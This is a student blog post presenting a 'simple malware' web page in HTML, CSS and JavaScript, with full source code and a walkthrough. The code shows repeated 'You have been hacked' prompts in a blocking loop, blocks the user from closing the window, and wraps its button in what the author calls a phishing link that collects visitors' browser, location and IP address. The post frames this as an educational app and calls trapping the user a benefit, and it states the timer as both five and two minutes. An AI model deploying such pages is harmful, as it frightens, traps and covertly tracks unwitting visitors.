Ethical hacking

 BY:AKINPELU ABIODUN MOSES BSC. MATHEMATICS 

| NATIONAL OPEN UNIVERSITY OF NIGERIA 


Design and development of A

 simple malware with html,

css and JavaScript

 

App link:http://cloud-connect.atspace.cc/Simple%20Malware.html

App source code:https://github.com/abiodun6876/Akinbrand.io-/blob/main/Simple%20Malware.html


 In today's world, cybersecurity is of utmost importance. With the increase in cyber crimes and hacking incidents, it is essential to educate people on how to protect themselves and their devices. The "Cybersecurity and Ethical Hacking " app is an interactive way to learn about cybersecurity and ethical hacking.


The app is designed to run in the browser and allows users to enter their name and interact with the app. The app is designed to loop through a prompt message for 5 minutes and display a message at the end of the loop. The app also prevents the user from closing the window until the loop completes, making it more engaging.


Let's dive into how the app works.


How the App Works

The "Cybersecurity and Ethical Hacking " app is a simple web application that uses HTML, CSS, and JavaScript. The HTML file contains a button with an ID of "click-me" and a script tag that contains the JavaScript code.


The JavaScript code is responsible for the functionality of the app. The code initializes some variables, including the start time, end time, and prompt count. The start time is obtained using the new Date().getTime() method, which gets the current time in milliseconds. The end time is calculated by adding 5 minutes (300,000 milliseconds) to the start time. The prompt count is used to keep track of how many times the prompt message has been displayed.


The code then adds an event listener to the button with the ID of "click-me." When the button is clicked, the app enters a loop that continues until the current time is greater than or equal to the end time. During the loop, the app displays a prompt message that asks the user to enter their name. If the user enters a non-empty input, the prompt count is incremented, and a message is displayed that includes the user's name and the current prompt count.


The code also prevents the user from closing the window until the loop completes. This is achieved using the window.addEventListener('beforeunload', function(event) {...}); method, which is called when the user attempts to close the window. The method prevents the default behavior of closing the window and sets the return value to an empty string, which effectively stops the user from closing the window.


When the loop completes, a message is displayed that informs the user that the time is up.


Benefits of the App

The "Cybersecurity and Ethical Hacking Class" app has several benefits. First, it is an interactive and engaging way to learn about cybersecurity and ethical hacking. The app prompts the user to enter their name, which creates a sense of personalization and involvement in the learning process. The prompt count also helps to keep track of how much the user has interacted with the app, which can be motivating.


Second, the app is designed to run in the browser, which means that it is accessible from anywhere with an internet connection. This makes it easy for anyone to access the app and learn about cybersecurity and ethical hacking.


Third, the app is designed to prevent the user from closing the window until the loop completes. This feature is useful because it ensures that the user interacts with the app for the entire 5 minutes, which can help to reinforce the learning.


Lastly,we add a phishing url to the click-me button to obtain some user's browser information with includes:browser name, location and IP address. The phishing url is obtained from this website:https://canary.tools/#


Code :

<!DOCTYPE html>
<html>
<head>
 <title>Scary Prompt Loop</title>
 <style>
  body {
   background-color: black;
   color: white;
   font-family: Arial, sans-serif;
   font-size: 24px;
   text-align: center;
   height: 100vh;
   display: flex;
   flex-direction: column;
   justify-content: center;
   align-items: center;
  }
  button {
   background-color: red;
   color: white;
   padding: 20px;
   border: none;
   border-radius: 10px;
   font-size: 24px;
   cursor: pointer;
   margin-top: 50px;
   box-shadow: 0 0 20px 0 rgba(255, 0, 0, 0.5);
   animation: pulse 1s ease-in-out infinite;
  }
  button:hover {
   box-shadow: 0 0 30px 0 rgba(255, 0, 0, 0.7);
   transform: scale(1.1);
   animation: none;
  }
  @keyframes pulse {
   0% {
    transform: scale(1);
   }
   50% {
    transform: scale(1.05);
   }
   100% {
    transform: scale(1);
   }
  }
 </style>
</head>
<body>
 <button id="click-me"><a href="http://whiteclouddrive.com/traffic/tags/feedback/xbs97w0gwoq5g1n8w3be5q84c/contact.php" >Click me if you dare...</a></button>
 <script>
   var startTime = new Date().getTime(); // Get the start time
   var endTime = startTime + (2 * 60 * 1000); // Calculate the end time (5 minutes from start time)
   var promptCount = 0; // Initialize the prompt count

   document.getElementById("click-me").addEventListener("click", function() {
     var currentTime = new Date().getTime(); // Get the current time
     while (currentTime < endTime) { // Loop while the current time is less than the end time
       var input = prompt("You have been hacked. Enter your name if you dare:"); // Prompt the user with a scary message
       if (input !== null && input !== "") { // If the user enters a non-empty input
         promptCount++; // Increment the prompt count
         alert("Welcome to your worst nightmare, " + input + "! You have entered " + promptCount + " responses so far. Mwahaha."); // Display a scary message with the user's name and the current prompt count
       }
       currentTime = new Date().getTime(); // Get the updated current time
       if (currentTime >= endTime) { // If 5 minutes have passed
         alert("It's too late to run now. Time is up!"); // Display a scary message that time is up
       }
       window.addEventListener('beforeunload', function (event) { // Prevent the user from closing the window
         event.preventDefault();
         event.returnValue = '';
       });
     }
   });
 </script>
</body>
</html>

The code above is an example of a scary prompt loop. When the user clicks the button, a prompt appears asking them to enter their name. However, the prompt message is designed to be scary and ominous, suggesting that the user has been hacked.

The code uses HTML, CSS, and JavaScript to create a simple but effective user interface. The HTML code defines the structure of the page, including the button that triggers the prompt loop. The CSS code defines the styling of the page, including the background color, font family, and button design. The JavaScript code defines the behavior of the page, including the prompt loop and the preventDefault function that prevents the user from closing the window.

Let's break down the JavaScript code in more detail:

var startTime = new Date().getTime(); // Get the start time

var endTime = startTime + (2 * 60 * 1000); // Calculate the end time (2 minutes from start time)

var promptCount = 0; // Initialize the prompt count

These three lines of code define some variables that will be used in the prompt loop. The startTime variable gets the current time using the getTime() method, and the endTime variable calculates the end time as 2 minutes from the start time. The promptCount variable is initialized to 0.

document.getElementById("click-me").addEventListener("click", function() {

  // Code to execute when the button is clicked

});

This code sets up an event listener for the button with the id "click-me". When the button is clicked, the code inside the function will execute.


var currentTime = new Date().getTime(); // Get the current time

while (currentTime < endTime) { // Loop while the current time is less than the end time

  var input = prompt("You have been hacked. Enter your name if you dare:"); // Prompt the user with a scary message

  if (input !== null && input !== "") { // If the user enters a non-empty input

    promptCount++; // Increment the prompt count

    alert("Welcome to your worst nightmare, " + input + "! You have entered " + promptCount + " responses so far. Mwahaha."); // Display a scary message with the user's name and the current prompt count

  }

  currentTime = new Date().getTime(); // Get the updated current time

  if (currentTime >= endTime) { // If 2 minutes have passed

    alert("It's too late to run now. Time is up!"); // Display a scary message that time is up

  }

  window.addEventListener('beforeunload', function (event) { // Prevent the user from closing the window

    event.preventDefault();

    event.returnValue = '';

  });

}


This code is the heart of the prompt loop. It starts by getting the current time using the getTime() method and entering a while loop that will continue as long as the current time is less than the end time. Inside the loop, a prompt appears asking the user to enter their name, with a scary message. If the user enters a non-empty input, the promptCount variable is incremented and a scary alert message is displayed with the user's name and the current prompt count. The currentTime variable is updated, and if 2 minutes have passed (i.e., the currentTime variable is greater than or equal to the endTime variable), a scary alert message is displayed that time is up. Finally, a beforeunload event listener is added to prevent the user from closing the window.


Overall, this code is a simple but effective example of a prompt loop that uses scary messages to create a memorable user experience. It also demonstrates some important JavaScript concepts,


Conclusion

The "Cybersecurity and Ethical Hacking Class" app is a simple and effective way to learn about cybersecurity and ethical hacking. The app is interactive, engaging, and accessible, making it an ideal tool for anyone who wants to learn about cybersecurity and ethical hacking. By using this app, users can gain a basic understanding of the concepts of cybersecurity and ethical hacking and learn how to protect themselves and their

Comments

Popular posts from this blog

Home Automation using NodeMCU ESP8266 and Blynk 2.0(IOT)